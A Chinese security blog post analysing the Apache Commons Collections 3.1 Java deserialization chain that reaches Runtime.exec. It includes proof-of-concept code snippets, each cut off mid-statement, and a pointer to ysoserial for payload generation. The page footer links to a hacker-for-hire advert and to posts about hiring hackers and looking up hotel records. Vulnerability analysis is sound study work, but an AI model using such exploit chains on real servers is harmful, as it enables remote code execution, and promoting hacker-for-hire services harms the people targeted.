当前位置：首页 > 黑客技术 > 正文内容

Apache Commons Collections反序列化漏洞

访客4年前 (2021-04-13)黑客技术669

一、简介

虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析，但在这里还是记录一下。毕竟，这对Java反序列化漏洞的发展意义重大。

Apache Commons Collections是Java应用开发中一个非常常用的工具库，它添加了许多强大的数据结构，简化了Java应用程序的开发，已经成为Java处理集合数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库，当该工具库出现反序列化漏洞时，这些应用也受到了影响，这也是反序列化漏洞如此严重的原因。

二、测试环境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections组件历史版本下载地址：http://archive.apache.org/dist/commons/collections/binaries/，或者使用maven依赖：

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial（https://github.com/frohoff/ysoserial）中已经集成了该组件的漏洞利用payload；在渗透测试的时候，只需按照Java序列化数据的特征（以十六进制aced或者base64编码格式的rO0AB开头的数据）寻找Java反序列化的入口点，并根据Web应用猜测可能存在CommonsCollections组件，则可以直接使用ysoserial工具直接生成payload进行漏洞利用。

三、漏洞分析

这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。

Transformer接口

Transformer接口的定义十分简单，只定义了一个transform()方法，根据文档说明，该方法主要用于对象转换。实现该接口的类还是挺多的，这里主要利用以下3个实现类：ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }

ChainedTransformer类

ChainedTransformer类定义了一个Transformer[]数组，并且在实现transform()方法的时候通过依次遍历该数组元素，并调用数组元素对应的Transformer实现类的transform()方法，将多个Transformer对象串起来。

public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers=transformers; } public Object transform(Object object) { for (int i=0; i < iTransformers.length; i++) { object=iTransformers[i].transform(object); } return object; } ... }

InvokerTransformer类

InvokerTransformer类的transform()方法主要通过反射机制调用传入参数对象的某个方法，只需在构造InvokerTransformer对象的时候设置方法名、参数类型和参数值即可。

public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName=methodName; iParamTypes=paramTypes; iArgs=args; } //简化后的transform()方法，通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls=input.getClass(); Method method=cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }

ConstantTransformer类

ConstantTransformer类十分简单，直接返回传入对象。

public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant=constantToReturn; } public Object transform(Object input) { return iConstant; } ... }

根据上述情况，我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显，我们需要借助InvokerTransformer类中transform()方法实现反射调用。如下所示，这里即是代码执行的源头：

package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1=new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

更进一步，我们发现可以借助ChainedTransformer类中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)))，即将上述多个InvokerTransformer对象初始化为Transformer[]数组，并且用Runtime.class初始化ConstantTransformer类对象，这样，就能构造出一条使用任意对象即可触发代码执行的Transformer调用链：

package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

接下来，我们希望通过反序列化触发调用Transformer对象transform()方法，达到代码执行的目的。

TransformedMap类

Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换，该类通过调用decorate()方法进行实例化，如下所示：

并且在该类中还有个checkSetValue()方法，在该方法中实现了调用Transformer对象的transform()方法；根据该方法描述，checkSetValue()方法将在setValue()方法调用的时候被调用：

因此，我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象，再调用setValue()方法修改Map对象的值，代码如下：

package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

继续寻找通过反序列化触发setValue()方法执行的地方，最后在AnnotationInvocationHandler类的readObject()方法中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示：

由于该类不提供公开的构造方法进行初始化，所以，我们通过反射调用该类的构造方法，并使用恶意的TransformedMap对象进行初始化，就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue()方法，即

根据代码溯源可知，clazz变量是一个注解子类对象的属性值，如果要满足clazz变量不为null的话，在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性；在漏洞利用代码中我们使用了java.lang.annotation.Target注解，而该注解只有一个属性value，因此我们在map.put()时，需要保证key的值是value。

最终，完整漏洞利用代码如下：

package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

参考链接

1、Lib之过？Java反序列化漏洞通用利用分析：https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

2、What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.：https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

3、Marshalling Pickles：https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles

4、深入理解 JAVA 反序列化漏洞：https://paper.seebug.org/312/

5、Commons Collections Java反序列化漏洞深入分析：https://security.tencent.com/index.php/blog/msg/97

6、JAVA反序列化 - Commons-Collections组件：https://xz.aliyun.com/t/7031#toc-9

扫描二维码推送至手机访问。

本文链接：https://therlest.com/106510.html

分享给朋友：

返回列表

上一篇：微信专业接单黑客联系方式（专业黑客在线接单平台）

下一篇：KONNI APT组织伪装安全功能应用的攻击活动剖析

“Apache Commons Collections反序列化漏洞” 的相关文章

天猫双十一活动什么时候开始华流

以前提到双十一那都是光棍才过的节日，而现在双十一摇身一变成了全民购物狂欢节。在双十一期间以淘宝天猫为主的购物平台都会推出各种优惠活动以及满减折扣，可以算得上是全年最便宜的时候了。那么天猫双十一活动什么时候开始呢？下面就跟百思特小编来详细了解一下2020年天猫双十一开始时间吧！...

美团暗语「美团暗语2021」

昨天,很多网友问小编美团暗语最好的方法是什么?有关美团暗语2021最好的方法是哪种?最新美团暗语2020?根据网民透露的审判细节这篇文章主要介绍了美团暗语,包括美团暗语据大江网2021年10月20日17:01:48的最新消息，微博网友@ 爆料。平安夜来临之际，事件，在网上炒得沸沸扬扬，引发全...

接单的黑客_可以找黑客黑美团吗

有在网络安全范畴中，猜测网络违法和歹意软件发展趋势好像现已成为了各大网络安全公司的传统了。为了防止让咱们去阅览上百页的安全陈述，咱们专门整兼并总结了McAfee、Forrester、FiskIQ、卡巴斯基实验室【1、2、3】、WatchGuard、Nuvias、FireEye、CyberArk、F...

黑客了解,中国黑客越南网络apt,黑客网站密码破解工具

6.42 · hxxp[://]offlineearthquake[.]com/file//?id=&n=000 进程三：使命履行及实时数据剖析10.61 2019年6月19日，FireEye Endpoint Security设备上收到了缝隙检测警报。违规应用程序被辨认为Microso...

Webshell安全检测篇

0x00 依据流量的检测办法 1.概述笔者一直在重视webshell的安全剖析，最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法：依据流量方法依据agent方法（本质是直接剖析webshell文件）依据日志剖析方法 Webshell的分...

如何查询酒店开房记录？谁可以查？网上怎么查？

关于酒店开房记录，这个基本上是看不到的，只有公检法系统（主要是公安局）才能查询的。如果你真想查询，要提供相关真实的身份证明，到公安局咨询，可能需要繁琐的手续。 2014年初，网上就有过“2000W开房数据泄露”的惊爆新闻，是因众多酒店使用了浙江慧达驿站公司开发的酒店Wi-Fi管理、认证系统，而该公司...